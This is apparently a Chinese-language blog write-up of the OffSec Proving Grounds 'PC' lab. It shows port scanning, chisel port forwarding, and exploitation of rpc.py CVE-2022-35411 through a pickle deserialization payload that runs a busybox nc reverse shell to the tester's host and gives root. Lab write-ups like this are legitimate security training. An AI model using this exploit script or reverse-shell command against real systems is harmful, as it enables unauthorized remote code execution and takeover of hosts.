OSCP PC Write-up

本文最后更新于 2026年3月12日 下午

一、靶场详情

靶场名称:

PC

靶场地址:

OffSec Proving Grounds Practice 实验环境

二、思路总结

突破边界、管理员旗帜获取:

chisel 端口转发(转发靶机本地 65432 端口) –> rpc.py 远程命令执行 –> root 用户权限 –> 管理员旗帜

三、靶场攻击演示

3.1 靶场信息收集

TCP 端口扫描:

1
2
3
4
5
sudo nmap -p- 192.168.212.210 --min-rate=2000

PORT STATE SERVICE
22/tcp open ssh
8000/tcp open http-alt

UDP 端口扫描:未发现有价值信息。

TCP 服务信息搜集:

1
2
3
4
5
6
7
8
9
10
11
12
sudo nmap -p22,8000 -sCV 192.168.212.210

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
| 256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
|_ 256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
8000/tcp open http ttyd 1.7.3-a2312cb (libwebsockets 3.2.0)
|_http-title: ttyd - Terminal
|_http-server-header: ttyd/1.7.3-a2312cb (libwebsockets/3.2.0)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

系统为 Linux 环境,开放有 HTTP、SSH 服务。

3.2 渗透测试突破边界

3.2.1 Rpc.py 远程代码执行(CVE-2022-35411)

访问系统 HTTP 8000 端口,页面可直接与系统进行交互,接下来只需要尝试提权即可。

检索系统 suid 和 sudo 权限均没有有价值发现,查看系统网路连接时发现本地监听了 65432。

由于当前权限较低,并不知道具体哪个进程使用了该端口,文件检索时,在 opt 目录发现 rpc.py 文件,而该文件中定义的脚本使用了 65432 端口,猜测可能与该文件有关。

搜索引擎检索 rpc.py exploit,发现该程序可能存在远程代码执行漏洞(CVE-2022-35411),影响版本为 0.6.0 及以上版本。

1
2
3
rpc.py exploit
https://github.com/ehtec/rpcpy-exploit
https://nvd.nist.gov/vuln/detail/CVE-2022-35411

使用 pip list 得知系统使用了 rpc.py 0.6.0 版本,可尝试利用该漏洞。

使用 chisel 将靶机本地 65432 端口转发至 kali 9090 端口。

1
2
3
4
5
6
7
8
9
10
11
12
# kali
chisel-common-binaries
goshs -p 80

# 靶机,注意匹配靶机系统版本
wget http://192.168.45.241/chisel_1.10.1_linux_386 -O chisel && chmod +x chisel

# kali
chisel server -p 8000 -reverse

# 靶机
./chisel client 192.168.45.241:8000 R:9090:127.0.0.1:65432

下载漏洞利用脚本,修改 host 端口为 9090,然后将执行的命令设置为反弹 shell。

1
wget https://raw.githubusercontent.com/ehtec/rpcpy-exploit/refs/heads/main/rpcpy-exploit.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests
import pickle

HOST = "127.0.0.1:9090"

URL = f"http://{HOST}/sayhi"

HEADERS = {
"serializer": "pickle"
}


def generate_payload(cmd):

class PickleRce(object):
def __reduce__(self):
import os
return os.system, (cmd,)

payload = pickle.dumps(PickleRce())

print(payload)

return payload


def exec_command(cmd):

payload = generate_payload(cmd)

requests.post(url=URL, data=payload, headers=HEADERS)


def main():
exec_command('busybox nc 192.168.45.241 1234 -e /bin/bash')
# exec_command('uname -a')


if __name__ == "__main__":
main()

kali 使用 nc 监听 1234 端口,执行漏洞利用脚本,获取到系统 root 用户 shell。

1
nc -lvnp 1234

3.2.2 管理员旗帜获取

Thanks

如果我的文章对您有帮助或您希望与我更多交流,欢迎点击「关于我」,通过页面中的微信公众号、邮箱或 Discord 与我联系;若您发现文章中存在任何错误或不足之处,也非常欢迎通过以上方式指出,在此一并致以衷心的感谢。 😊🫡

最后,祝您生活愉快!🌞✨


OSCP PC Write-up
https://www.f0nesec.top/2025/08/25/oscp-pc/
作者
F0ne
发布于
2025年8月25日
许可协议